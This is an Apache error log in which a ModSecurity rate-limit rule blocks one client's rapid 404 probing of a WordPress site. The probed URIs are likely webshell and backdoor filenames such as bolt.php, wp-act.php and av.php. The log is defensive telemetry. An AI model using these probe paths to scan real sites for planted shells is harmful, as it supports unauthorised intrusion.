[Tue May 19 02:01:11.294778 2026] [:error] [pid 36491:tid 36499] [client 4.228.184.113:31795] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "agtT50555B9CZb6D60n-FAAAAUQ"]
[Tue May 19 02:01:12.419667 2026] [:error] [pid 44087:tid 44096] [client 4.228.184.113:31778] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "agtT6G5HPHbH9GK7l6wPIAAAAcc"]
[Tue May 19 02:01:13.445853 2026] [:error] [pid 44010:tid 44017] [client 4.228.184.113:27586] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "agtT6TcFUuogD3-74-aN4gAAAMU"]
[Tue May 19 02:01:15.610988 2026] [:error] [pid 44046:tid 44057] [client 4.228.184.113:29900] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/"] [unique_id "agtT64YF4k2jfXJBXk0RogAAAYk"]
[Tue May 19 02:01:17.070744 2026] [:error] [pid 36492:tid 36546] [client 4.228.184.113:7763] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "agtT7WCVlogrkn9m2w4qNwAAABg"]
[Tue May 19 02:01:18.564153 2026] [:error] [pid 44046:tid 44069] [client 4.228.184.113:7690] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "agtT7oYF4k2jfXJBXk0RpAAAAZU"]
[Tue May 19 02:01:19.589886 2026] [:error] [pid 43916:tid 43940] [client 4.228.184.113:7690] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "agtT79QC236p33zJJvneiwAAAJA"]
[Tue May 19 02:01:20.902335 2026] [:error] [pid 36491:tid 36498] [client 4.228.184.113:27623] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "agtT8E555B9CZb6D60n-HQAAAUM"]
[Tue May 19 02:01:21.857488 2026] [:error] [pid 36493:tid 36571] [client 4.228.184.113:43513] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "agtT8QynkzQB5nM668rlLQAAARY"]
[Tue May 19 02:01:44.642140 2026] [:error] [pid 36491:tid 36509] [client 4.228.184.113:7773] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "agtUCE555B9CZb6D60n-YQAAAU4"]
[Tue May 19 02:01:45.691940 2026] [:error] [pid 44010:tid 44021] [client 4.228.184.113:61533] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "agtUCTcFUuogD3-74-aN6gAAAMk"]
[Tue May 19 02:01:46.717736 2026] [:error] [pid 36491:tid 36510] [client 4.228.184.113:18669] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "agtUCk555B9CZb6D60n-agAAAU8"]
[Tue May 19 02:01:47.925697 2026] [:error] [pid 36492:tid 36523] [client 4.228.184.113:48827] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fvvff.php"] [unique_id "agtUC2CVlogrkn9m2w4qTwAAAAE"]
[Tue May 19 02:01:49.387982 2026] [:error] [pid 36491:tid 36511] [client 4.228.184.113:7793] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "agtUDU555B9CZb6D60n-cwAAAVA"]
[Tue May 19 02:01:50.523179 2026] [:error] [pid 36491:tid 36513] [client 4.228.184.113:6498] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "agtUDk555B9CZb6D60n-dwAAAVI"]
[Tue May 19 02:01:51.959411 2026] [:error] [pid 36491:tid 36509] [client 4.228.184.113:18654] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "agtUD0555B9CZb6D60n-fAAAAU4"]
[Tue May 19 02:01:53.204687 2026] [:error] [pid 36491:tid 36498] [client 4.228.184.113:6516] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "agtUEU555B9CZb6D60n-hAAAAUM"]
[Tue May 19 02:01:54.493251 2026] [:error] [pid 44087:tid 44089] [client 4.228.184.113:27630] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "agtUEm5HPHbH9GK7l6wPNQAAAcA"]
[Tue May 19 02:01:55.749377 2026] [:error] [pid 36491:tid 36513] [client 4.228.184.113:20136] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "agtUE0555B9CZb6D60n-iwAAAVI"]
[Tue May 19 02:01:57.011099 2026] [:error] [pid 36491:tid 36498] [client 4.228.184.113:54720] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "agtUFU555B9CZb6D60n-kwAAAUM"]
[Tue May 19 02:01:58.109886 2026] [:error] [pid 36491:tid 36517] [client 4.228.184.113:18632] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "agtUFk555B9CZb6D60n-mQAAAVY"]
[Tue May 19 02:01:59.271820 2026] [:error] [pid 36491:tid 36496] [client 4.228.184.113:30774] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "agtUF0555B9CZb6D60n-nAAAAUE"]
[Tue May 19 02:02:00.204365 2026] [:error] [pid 36491:tid 36499] [client 4.228.184.113:43516] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "agtUGE555B9CZb6D60n-pAAAAUQ"]
[Tue May 19 02:02:01.076862 2026] [:error] [pid 44046:tid 44060] [client 4.228.184.113:20141] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "agtUGYYF4k2jfXJBXk0RsAAAAYw"]
[Tue May 19 02:02:01.994522 2026] [:error] [pid 36579:tid 36587] [client 4.228.184.113:30776] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "agtUGV-aoZxBfgL5vDy17wAAAEU"]
[Tue May 19 02:02:02.881442 2026] [:error] [pid 36491:tid 36504] [client 4.228.184.113:60807] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "agtUGk555B9CZb6D60n-pwAAAUk"]
[Tue May 19 02:02:04.076067 2026] [:error] [pid 36492:tid 36527] [client 4.228.184.113:26756] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "agtUHGCVlogrkn9m2w4qVwAAAAU"]
[Tue May 19 02:02:05.043466 2026] [:error] [pid 36491:tid 36507] [client 4.228.184.113:18657] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "agtUHU555B9CZb6D60n-rQAAAUw"]
[Tue May 19 02:02:05.899646 2026] [:error] [pid 36492:tid 36528] [client 4.228.184.113:20118] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "agtUHWCVlogrkn9m2w4qXgAAAAY"]
[Tue May 19 02:02:07.529957 2026] [:error] [pid 36579:tid 36582] [client 4.228.184.113:48802] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "agtUH1-aoZxBfgL5vDy18wAAAEA"]
[Tue May 19 02:02:08.713882 2026] [:error] [pid 43916:tid 43931] [client 4.228.184.113:50582] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "agtUINQC236p33zJJvnenwAAAIc"]
[Tue May 19 02:02:10.176349 2026] [:error] [pid 44087:tid 44106] [client 4.228.184.113:3475] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "agtUIm5HPHbH9GK7l6wPPwAAAdE"]
[Tue May 19 02:02:11.257002 2026] [:error] [pid 36492:tid 36529] [client 4.228.184.113:7751] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "agtUI2CVlogrkn9m2w4qYQAAAAc"]
[Tue May 19 02:02:12.500928 2026] [:error] [pid 36579:tid 36594] [client 4.228.184.113:60816] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "agtUJF-aoZxBfgL5vDy1-gAAAEw"]
[Tue May 19 02:02:14.271252 2026] [:error] [pid 36579:tid 36584] [client 4.228.184.113:6518] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "agtUJl-aoZxBfgL5vDy1_QAAAEI"]
[Tue May 19 02:02:15.462767 2026] [:error] [pid 44046:tid 44066] [client 4.228.184.113:18665] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "agtUJ4YF4k2jfXJBXk0RtQAAAZI"]
[Tue May 19 02:02:18.527632 2026] [:error] [pid 36491:tid 36498] [client 4.228.184.113:26786] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "agtUKk555B9CZb6D60n-xAAAAUM"]
[Tue May 19 02:02:21.685173 2026] [:error] [pid 44010:tid 44014] [client 4.228.184.113:61523] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "agtULTcFUuogD3-74-aN7QAAAMI"]
[Tue May 19 02:02:25.460441 2026] [:error] [pid 36491:tid 36501] [client 4.228.184.113:48479] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "agtUMU555B9CZb6D60n-6gAAAUY"]
[Tue May 19 02:02:27.468523 2026] [:error] [pid 36492:tid 36536] [client 4.228.184.113:61507] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "agtUM2CVlogrkn9m2w4qcgAAAA4"]
[Tue May 19 02:02:29.377937 2026] [:error] [pid 36491:tid 36500] [client 4.228.184.113:18653] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "agtUNU555B9CZb6D60n-8gAAAUU"]
[Tue May 19 02:02:30.616808 2026] [:error] [pid 44087:tid 44114] [client 4.228.184.113:20148] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "agtUNm5HPHbH9GK7l6wPXQAAAdg"]
[Tue May 19 02:02:32.632719 2026] [:error] [pid 44087:tid 44109] [client 4.228.184.113:18636] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "agtUOG5HPHbH9GK7l6wPYwAAAdQ"]
[Tue May 19 02:02:33.896796 2026] [:error] [pid 44087:tid 44104] [client 4.228.184.113:7796] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "agtUOW5HPHbH9GK7l6wPZQAAAc8"]
[Tue May 19 02:02:35.201880 2026] [:error] [pid 44010:tid 44031] [client 4.228.184.113:6500] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "agtUOzcFUuogD3-74-aN8wAAANM"]
[Tue May 19 02:02:37.801321 2026] [:error] [pid 36579:tid 36604] [client 4.228.184.113:30772] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "agtUPV-aoZxBfgL5vDy2CgAAAFY"]
[Tue May 19 02:02:39.492315 2026] [:error] [pid 36492:tid 36530] [client 4.228.184.113:7738] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "agtUP2CVlogrkn9m2w4qhgAAAAg"]
[Tue May 19 02:02:41.109674 2026] [:error] [pid 36491:tid 36507] [client 4.228.184.113:30730] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "agtUQU555B9CZb6D60n-_QAAAUw"]
[Tue May 19 02:02:48.633561 2026] [autoindex:error] [pid 36492:tid 36522] [client 4.228.184.113:30731] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:03:03.877849 2026] [autoindex:error] [pid 36492:tid 36534] [client 4.228.184.113:30731] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:03:05.802308 2026] [autoindex:error] [pid 36492:tid 36538] [client 4.228.184.113:30731] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:03:06.140861 2026] [autoindex:error] [pid 36492:tid 36531] [client 4.228.184.113:30731] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:03:10.782914 2026] [:error] [pid 36492:tid 36541] [client 4.228.184.113:30731] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "agtUXmCVlogrkn9m2w4qrAAAABM"]
[Tue May 19 02:03:11.946865 2026] [:error] [pid 44087:tid 44101] [client 4.228.184.113:60817] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "agtUX25HPHbH9GK7l6wPawAAAcw"]
[Tue May 19 02:03:13.012935 2026] [:error] [pid 36491:tid 36498] [client 4.228.184.113:18631] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "agtUYU555B9CZb6D60n_KwAAAUM"]
[Tue May 19 02:03:14.150430 2026] [:error] [pid 44087:tid 44098] [client 4.228.184.113:61542] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "agtUYm5HPHbH9GK7l6wPbQAAAck"]
[Tue May 19 02:03:14.944973 2026] [:error] [pid 36492:tid 36537] [client 4.228.184.113:30733] [client 4.228.184.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "agtUYmCVlogrkn9m2w4qsQAAAA8"]
